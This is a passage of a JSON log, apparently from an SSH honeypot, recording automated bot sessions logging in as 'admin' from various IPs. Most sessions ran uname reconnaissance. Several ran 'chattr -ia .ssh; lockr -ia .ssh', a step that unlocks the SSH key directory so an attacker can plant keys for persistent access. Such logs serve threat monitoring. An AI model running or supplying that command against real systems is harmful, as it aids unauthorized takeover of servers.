  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:58:14.404185+00:00",
  "ended_at": "2026-08-26T15:58:14.820007+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "43c35472-6d7f-435a-abe5-a40ab6db6e36",
  "name": "frosty-nameless-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40823,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 750,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:16:28.241737+00:00",
  "ended_at": "2026-08-26T15:16:29.345554+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "f63cc11c-1c67-42e3-b2fe-11e55cdb4fb2",
  "name": "fleeting-velvet-walrus",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40825,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:16:05.704359+00:00",
  "ended_at": "2026-08-26T15:16:07.256163+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "99bc069e-5abf-4623-adf6-64a02a7065d0",
  "name": "dusky-daring-porcupine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 35626,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:48:33.366476+00:00",
  "ended_at": "2026-08-26T14:48:33.684626+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "945d7441-ed80-4b84-986f-1afe87bb4ec2",
  "name": "wandering-brisk-galago",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.161.28",
  "src_port": 53794,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:37:40.679739+00:00",
  "ended_at": "2026-08-26T14:37:41.030199+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9ed78d65-5960-4a4f-a54e-49fc86cd34fa",
  "name": "nimble-wandering-ouzel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.161.28",
  "src_port": 62794,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:37:24.046646+00:00",
  "ended_at": "2026-08-26T14:37:24.384414+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4beb6a2a-b46e-4854-8d10-91508df80162",
  "name": "civil-shifting-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 55836,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 442,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:31:07.745201+00:00",
  "ended_at": "2026-08-26T14:31:11.295696+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d5ba3d6d-decd-4cbe-b475-5cf78c22cc24",
  "name": "tangled-murky-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35496,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 533,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:30:53.167439+00:00",
  "ended_at": "2026-08-26T14:30:56.510440+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6891adec-d205-41a9-baec-2f5a5e4d3213",
  "name": "reedy-opal-bittern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 58170,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 295,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:29:20.135184+00:00",
  "ended_at": "2026-08-26T14:29:21.950257+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "478fd561-fba4-4505-9c48-bd87de308891",
  "name": "ashen-dewy-galago",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 58188,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:28:57.498902+00:00",
  "ended_at": "2026-08-26T14:28:59.001996+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c0aedf36-4a7e-429b-bf14-d019b5165537",
  "name": "proud-brazen-bobcat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 49418,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 603,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:27:43.828699+00:00",
  "ended_at": "2026-08-26T14:27:48.822075+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "12012469-186c-4341-9072-1f9e5505bed6",
  "name": "dappled-sullen-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35712,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 509,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:21:17.995890+00:00",
  "ended_at": "2026-08-26T14:21:21.678515+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "79fef993-752c-4c36-a6db-5cff21ba2bae",
  "name": "gallant-meadow-llama",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 36762,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 652,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:11:12.342336+00:00",
  "ended_at": "2026-08-26T14:11:18.356373+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a8260532-91ce-4ddd-9904-25649c0c7f2b",
  "name": "foggy-cheerful-starling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 53802,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 499,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:55:57.980956+00:00",
  "ended_at": "2026-08-26T13:56:01.348730+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4fc3d722-c47e-4e4e-994e-f8c4ff4c905a",
  "name": "languid-wooded-cardinal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37134,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 341,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:48:29.728075+00:00",
  "ended_at": "2026-08-26T13:48:34.449380+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "43e8c54f-7ad1-4e06-aeed-e7e1c81f1221",
  "name": "wistful-brisk-mallard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 45018,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 548,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:40:56.764135+00:00",
  "ended_at": "2026-08-26T13:41:02.549251+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f5d19b9d-2523-4bdf-882c-445ed36e751c",
  "name": "tender-plucky-goldcrest",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 37300,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:40:54.492561+00:00",
  "ended_at": "2026-08-26T13:40:55.011631+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5e266807-f308-4837-8727-adf13b3a0c6f",
  "name": "faded-salty-redshank",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 51298,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 891,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:34:51.196430+00:00",
  "ended_at": "2026-08-26T13:34:52.702663+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2246
 },
 {
  "id": "da92bc9e-150f-4b5a-ad69-f938ec97f30e",
  "name": "crimson-prairie-skink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 51316,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:34:25.413938+00:00",
  "ended_at": "2026-08-26T13:34:27.115546+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0ca91df6-5b60-472c-bd94-3649ddd7b3f0",
  "name": "sturdy-gloomy-meerkat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 41444,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 493,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:32:31.716657+00:00",
  "ended_at": "2026-08-26T13:32:37.249634+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "cdf0c5c0-d027-404d-84f5-211cf418a0e0",
  "name": "whispering-downy-gadwall",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 46754,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 691,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:30:07.590520+00:00",
  "ended_at": "2026-08-26T13:30:11.904841+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "293757c4-5e8d-4346-8217-dc02dcbffbff",
  "name": "stormy-flinty-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35480,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 539,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:02:41.676587+00:00",
  "ended_at": "2026-08-26T13:02:47.041043+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5313acee-8fff-41f5-8b17-1b473227436b",
  "name": "craggy-blunt-stonechat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 46124,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 411,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:55:45.543933+00:00",
  "ended_at": "2026-08-26T12:55:51.981214+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b3568201-f395-4d73-b9ee-18ec87b259f4",
  "name": "tidal-painted-wigeon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59466,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 563,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:39:32.486425+00:00",
  "ended_at": "2026-08-26T12:39:38.168567+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "600bec35-9ab5-4406-a07c-1a6428f3f1b2",
  "name": "wry-thawing-skylark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 48838,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 551,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:39:10.757879+00:00",
  "ended_at": "2026-08-26T12:39:15.109960+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "48a01cd1-d780-4a94-8e9d-3bdda38c938d",
  "name": "icy-pristine-pochard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 40414,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:38:55.534154+00:00",
  "ended_at": "2026-08-26T12:38:56.007203+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1d162ea3-6c84-4094-94a0-8bb4707d7982",
  "name": "velvet-breezy-bullfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 32880,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 732,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:33:38.034617+00:00",
  "ended_at": "2026-08-26T12:33:43.510316+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "466601e1-e380-4e9f-b1ad-677d4f9558c2",
  "name": "smoky-nautical-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 49362,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 591,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:30:04.061016+00:00",
  "ended_at": "2026-08-26T12:30:09.825591+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5b471a8a-00a5-4b90-adbc-96c53360782a",
  "name": "solemn-kindly-redshank",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 47770,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 419,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:28:59.542013+00:00",
  "ended_at": "2026-08-26T12:29:03.975141+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "70f678c3-bfc2-4eb6-b80e-89e31b43979f",
  "name": "frugal-thrifty-gannet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 42094,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 760,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:27:24.270686+00:00",
  "ended_at": "2026-08-26T12:27:29.491068+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "cce6be0c-65cc-4990-8489-528051c47a9d",
  "name": "ginger-reedy-bullfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 45182,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 690,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:25:24.759398+00:00",
  "ended_at": "2026-08-26T12:25:28.169147+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c49ab4fd-1ce9-4cd0-bb9a-b8dae4253d5b",
  "name": "lanky-granite-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 48310,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1238,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:15:00.297289+00:00",
  "ended_at": "2026-08-26T12:15:05.693411+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "76207f1e-6b6e-4b1b-b5e2-6b07c1e686c0",
  "name": "smoky-sunlit-sloth",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 40602,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 506,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:12:51.427037+00:00",
  "ended_at": "2026-08-26T12:12:56.057006+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5e6c9b3c-38ff-4da5-87d8-e9c1272cb4f5",
  "name": "forlorn-mindful-puffin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 43556,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 604,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:09:39.463494+00:00",
  "ended_at": "2026-08-26T12:09:44.729392+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d8c02a64-c75c-4fdd-90dc-a14bce8e3fba",
  "name": "oaken-tangled-caribou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 55620,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 701,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:08:45.385699+00:00",
  "ended_at": "2026-08-26T12:08:50.702812+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "838d16ba-a37f-46ac-8a31-df87bd2e32c0",
  "name": "rustic-gentle-peccary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 51462,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 528,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:07:11.687699+00:00",
  "ended_at": "2026-08-26T12:07:16.249719+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1da400e7-982d-4dda-a441-70ab6b8b20dd",
  "name": "vigilant-bashful-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 41200,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 587,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:04:08.112755+00:00",
  "ended_at": "2026-08-26T12:04:13.137208+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4cf5e70e-2147-4b2f-84d5-e519600a43df",
  "name": "fierce-northern-koala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 48926,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:35:54.052910+00:00",
  "ended_at": "2026-08-26T11:35:54.491103+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "92948be4-4e07-4bab-bd31-e068e7babf54",
  "name": "indigo-dutiful-warbler",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 33988,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:37:38.366311+00:00",
  "ended_at": "2026-08-26T10:37:38.833892+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "27608b3b-c908-4549-bbd6-715adc5603eb",
  "name": "kindly-orderly-thrush",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.161.28",
  "src_port": 46212,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:36:56.185954+00:00",
  "ended_at": "2026-08-26T10:36:56.543304+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3ec1e508-0fc4-4bdd-b3b9-c037881d8e08",
  "name": "solar-upland-francolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.160.115",
  "src_port": 14302,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:24:10.438335+00:00",
  "ended_at": "2026-08-26T10:24:10.908534+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0020239e-8134-4b2a-a3ef-06753559c827",
  "name": "humble-dappled-bison",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 51480,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 615,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T10:23:58.690166+00:00",
  "ended_at": "2026-08-26T10:24:00.018969+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2159
 },
 {
  "id": "d9096e97-5dbf-41a5-8f62-70595ad5e015",
  "name": "languid-balmy-magpie",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 51500,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:23:37.748190+00:00",
  "ended_at": "2026-08-26T10:23:39.507480+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "691d7f58-963e-4e3c-8d0f-afd33439b944",
  "name": "candid-restless-dotterel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 49824,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T09:40:57.539152+00:00",
  "ended_at": "2026-08-26T09:40:57.916027+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8dc9e330-f15c-440b-b7ec-b2fa90180656",
  "name": "gentle-jolly-springbok",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 52686,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T08:32:04.272337+00:00",
  "ended_at": "2026-08-26T08:32:04.701822+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7ee6370b-821b-45b8-9821-3f20c5433657",
  "name": "polar-cosmic-ibis",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 45166,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T07:26:32.548874+00:00",
  "ended_at": "2026-08-26T07:26:32.909085+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d53b4a93-3f8d-4911-928b-68c1c3efbb75",
  "name": "tender-glassy-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 52232,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 198,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:47:07.130840+00:00",
  "ended_at": "2026-08-26T06:47:09.804900+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c2d347eb-ce22-4336-a459-65ab3e22de5b",
  "name": "mindful-supple-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 36434,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 184,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:46:44.361090+00:00",
  "ended_at": "2026-08-26T06:46:47.770389+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "34e82cf4-6bbe-4bd5-9bbe-92a8d7541c8c",
  "name": "sunlit-hearty-eagle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 56714,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 189,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:43:50.646916+00:00",
  "ended_at": "2026-08-26T06:43:55.520640+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0a31916b-03b4-4e21-b061-6d50bae099db",
  "name": "seaward-bronzed-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 38878,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 223,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:40:11.570280+00:00",
  "ended_at": "2026-08-26T06:40:17.585410+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1e3230e4-2903-49d9-bbbe-e2d8343357a7",
  "name": "earnest-merry-guanaco",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 54850,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 198,
